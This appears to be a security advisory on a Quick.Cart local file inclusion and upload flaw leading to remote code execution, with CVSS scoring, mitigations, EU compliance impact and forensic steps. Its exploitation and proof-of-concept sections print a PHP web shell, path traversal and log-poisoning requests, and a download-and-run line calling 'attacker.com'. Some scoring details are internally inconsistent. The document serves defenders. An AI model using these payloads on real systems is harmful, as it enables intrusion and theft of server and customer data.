Comprehensive Technical Analysis of EUVD-2026-4165 (CVE-2025-67684)

Vulnerability: Local File Inclusion (LFI) & Path Traversal Leading to Remote Code Execution (RCE) in Quick.Cart

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-4165 (CVE-2025-67684) describes a critical vulnerability in Quick.Cart, an open-source e-commerce platform developed by OpenSolution. The flaw stems from inadequate input validation in the theme selection mechanism, allowing Local File Inclusion (LFI) and Path Traversal attacks. Exploitation enables Remote Code Execution (RCE) on the underlying server.

CVSS 4.0 Severity Breakdown

Metric	Value	Explanation
Base Score	9.4 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely without physical/logical access.
Attack Complexity (AC)	Low (L)	No specialized conditions required.
Attack Requirements (AT)	None (N)	No prior authentication or user interaction needed beyond a privileged user role.
Privileges Required (PR)	High (H)	Requires administrative or theme-management privileges.
User Interaction (UI)	None (N)	No victim interaction required.
Vulnerable Component (VC)	High (H)	Full compromise of the web application.
Integrity Impact (VI)	High (H)	Arbitrary code execution allows complete system manipulation.
Availability Impact (VA)	High (H)	Attacker can disrupt or take down the server.
Subsequent Confidentiality (SC)	High (H)	Sensitive data (e.g., database credentials, customer PII) can be exfiltrated.
Subsequent Integrity (SI)	High (H)	Attacker can modify files, inject backdoors, or alter business logic.
Subsequent Availability (SA)	High (H)	Server can be rendered inoperable (e.g., via rm -rf /).

Severity Justification

• Critical (9.4) due to:
  • RCE capability (highest impact in web vulnerabilities).
  • Low attack complexity (no advanced techniques required).
  • High privileges required (PR:H) slightly mitigates risk but does not reduce impact.
  • No vendor response increases exposure risk for unpatched systems.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Prerequisites

1. Privileged Access: Attacker must have administrative or theme-management privileges (e.g., via compromised credentials, insider threat, or social engineering).
2. File Upload Mechanism: Quick.Cart’s theme selection allows arbitrary file uploads with extension-based validation only (e.g., .php, .phtml).

Step-by-Step Exploitation

Phase 1: Local File Inclusion (LFI) via Path Traversal

1. Identify Vulnerable Endpoint:
   • The theme selection mechanism likely processes file paths without proper sanitization (e.g., ?theme=../../../malicious).
   • Example vulnerable URL:

     https://target.com/quickcart/admin.php?action=theme&file=../../../../etc/passwd
     

2. Bypass Filters:
   • Use path traversal sequences (../, ..\, %2e%2e%2f) to access restricted files.
   • If PHP execution is enabled, include sensitive files (e.g., /etc/passwd, config.php).

Phase 2: Remote Code Execution (RCE) via Malicious File Upload

1. Upload a PHP Web Shell:
   • Craft a malicious .php file (e.g., shell.php) with:

     <?php system($_GET['cmd']); ?>
     

   • Upload via the theme selection mechanism (bypassing weak extension checks).
2. Execute Arbitrary Commands:
   • Access the uploaded file:

     https://target.com/quickcart/themes/shell.php?cmd=id
     

   • Execute system commands (e.g., whoami, cat /etc/shadow, wget http://attacker.com/malware.sh | bash).

Alternative Exploitation: Log Poisoning

• If LFI is possible but direct file upload is restricted:
  1. Poison Log Files (e.g., Apache access.log or error.log) by injecting PHP code via:

     GET /<?php system($_GET['cmd']); ?> HTTP/1.1
     

  2. Include the Log File via LFI:

     https://target.com/quickcart/admin.php?action=theme&file=../../../../var/log/apache2/access.log
     

  3. Execute Commands via the poisoned log.

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3. Affected Systems & Software Versions

Confirmed Vulnerable

• Quick.Cart v6.7 (tested and confirmed).
• Potential Impact:
  • All versions prior to 6.7 (unconfirmed but likely vulnerable due to lack of vendor response).
  • Custom forks/modifications of Quick.Cart may also be affected.

Vendor & Product Details

Entity	Details
Vendor	OpenSolution
Product	Quick.Cart (e-commerce platform)
ENISA Vendor ID	76429aad-00f3-3199-9a5f-eac94836c888
ENISA Product ID	bb2748b2-e603-3b14-8b10-ae895d1d03dc

Deployment Context

• Common Use Cases:
  • Small to medium-sized e-commerce websites.
  • Hosted on shared hosting environments (increasing risk of lateral movement).
• Geographical Distribution:
  • Primarily used in Europe (Poland, Germany, France, UK).
  • EU-based SMEs are at higher risk due to regulatory compliance implications (GDPR).

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Disable Theme Upload Functionality:
   • Remove or restrict access to the theme selection mechanism until patches are applied.
2. Apply Input Sanitization:
   • Whitelist allowed file extensions (e.g., .css, .js, .png).
   • Validate file contents (e.g., using finfo_file() in PHP).
   • Restrict file uploads to non-executable directories (e.g., /uploads/ with .htaccess Deny from all).
3. Implement Path Traversal Protections:
   • Use basename() or realpath() to resolve file paths.
   • Disable PHP execution in upload directories via:

     <FilesMatch "\.php$">
       Deny from all
     </FilesMatch>
     

4. Monitor for Exploitation:
   • Log and alert on suspicious file uploads (e.g., .php, .phtml).
   • Scan for web shells using tools like:
     • Linux: find /var/www -name "*.php" -type f -exec grep -l "system\|exec\|passthru" {} \;
     • Windows: Use Windows Defender ATP or YARA rules.

Long-Term Remediation

1. Vendor Patch:
   • Monitor OpenSolution’s website for updates (no official patch confirmed as of Jan 2026).
   • Consider migrating to a maintained e-commerce platform (e.g., WooCommerce, Magento) if no patch is released.
2. Network-Level Protections:
   • Web Application Firewall (WAF) rules to block LFI/RFI attempts (e.g., ModSecurity OWASP CRS).
   • Isolate Quick.Cart in a DMZ or containerized environment.
3. Privilege Restriction:
   • Enforce least-privilege access for theme management.
   • Use multi-factor authentication (MFA) for admin panels.
4. Regular Audits:
   • Conduct penetration testing (e.g., OWASP ZAP, Burp Suite).
   • Review file integrity with tools like Tripwire or AIDE.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Risks

• GDPR Violation Risk:
  • Article 32 (Security of Processing): Failure to patch critical vulnerabilities may result in fines up to €20M or 4% of global revenue.
  • Article 33 (Data Breach Notification): RCE could lead to unauthorized data access, requiring mandatory reporting within 72 hours.
• NIS2 Directive:
  • Critical entities (e.g., e-commerce platforms processing EU citizen data) must report significant incidents to CSIRTs.
  • Non-compliance may lead to regulatory sanctions.

Threat Actor Exploitation

• Targeted Attacks:
  • Cybercriminals may exploit this flaw for financial gain (e.g., skimming payment data, ransomware deployment).
  • State-sponsored actors (e.g., APT groups) could use it for espionage or supply chain attacks.
• Automated Exploitation:
  • Botnets (e.g., Mirai, Mozi) may scan for vulnerable Quick.Cart instances to deploy cryptominers or DDoS agents.

Sector-Specific Risks

Sector	Potential Impact
E-Commerce	Theft of customer PII, payment data, or business logic.
SMEs	High risk due to limited security resources; may lead to business disruption.
Government & Public Sector	If used for procurement, could expose sensitive contracts or citizen data.
Healthcare	If integrated with medical portals, could lead to HIPAA/GDPR violations.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Insecure File Upload Handling:
  • Quick.Cart’s theme selection mechanism only checks file extensions (e.g., .php, .html) without content validation.
  • No server-side file type verification (e.g., finfo_file(), mime_content_type()).
• Path Traversal Vulnerability:
  • Lack of path normalization allows ../ sequences to traverse outside the intended directory.
  • No chroot/jail for uploaded files, enabling access to system files.

Proof-of-Concept (PoC) Exploitation

1. LFI via Path Traversal

GET /quickcart/admin.php?action=theme&file=../../../../etc/passwd HTTP/1.1
Host: vulnerable-site.com

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

2. RCE via Malicious PHP Upload

1. Upload a Web Shell:

   curl -F "file=@shell.php" "https://vulnerable-site.com/quickcart/admin.php?action=theme&upload=1"
   

   • shell.php contents:

     <?php system($_GET['cmd']); ?>
     

2. Execute Commands:

   GET /quickcart/themes/shell.php?cmd=id HTTP/1.1
   Host: vulnerable-site.com
   

   Expected Output:

   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   

Detection & Forensics

Indicators of Compromise (IoCs)

IoC Type	Example
File Paths	/quickcart/themes/shell.php, /quickcart/uploads/malicious.php
Log Entries	GET /admin.php?action=theme&file=../../../../etc/passwd
Network Traffic	Outbound connections to attacker-controlled C2 servers.
Process Execution	Unusual child processes of apache2/nginx (e.g., bash, python, nc).

Forensic Analysis Steps

1. Check Web Server Logs:

   grep -r "action=theme" /var/log/apache2/access.log
   

2. Identify Suspicious Files:

   find /var/www -name "*.php" -type f -exec grep -l "system\|exec\|passthru" {} \;
   

3. Memory Forensics:
   • Use Volatility to detect injected code or malicious processes.
4. Network Analysis:
   • Inspect outbound connections from the web server (e.g., netstat -tulnp).

Exploit Chaining Opportunities

• Privilege Escalation:
  • If the web server runs as root, RCE leads to full system compromise.
  • Kernel exploits (e.g., Dirty Pipe, CVE-2021-4034) can be chained for root access.
• Lateral Movement:
  • Database dumping (e.g., mysqldump -u root -p --all-databases > dump.sql).
  • Pivoting to internal networks via SSH or RDP.
• Persistence:
  • Cron jobs, SSH keys, or web shell backdoors for long-term access.

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Conclusion & Recommendations

Key Takeaways

• EUVD-2026-4165 (CVE-2025-67684) is a critical RCE vulnerability in Quick.Cart, enabling full server compromise.
• Exploitation requires privileged access, but weak input validation makes it highly dangerous.
• No vendor patch is available, increasing risk for European SMEs and e-commerce platforms.
• GDPR and NIS2 compliance are at risk if exploited.

Action Plan for Security Teams

Priority	Action
Critical	Disable theme uploads immediately.
High	Apply WAF rules to block LFI/RFI attempts.
Medium	Conduct a forensic audit for signs of compromise.
Long-Term	Migrate to a maintained e-commerce platform if no patch is released.

Final Recommendation

Given the lack of vendor response and high severity, organizations using Quick.Cart should assume compromise and implement compensating controls while planning a migration to a supported platform. Proactive monitoring and incident response planning are essential to mitigate potential breaches.

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References:

• NVD Entry for CVE-2025-67684
• CERT-PL Advisory
• OpenSolution Quick.Cart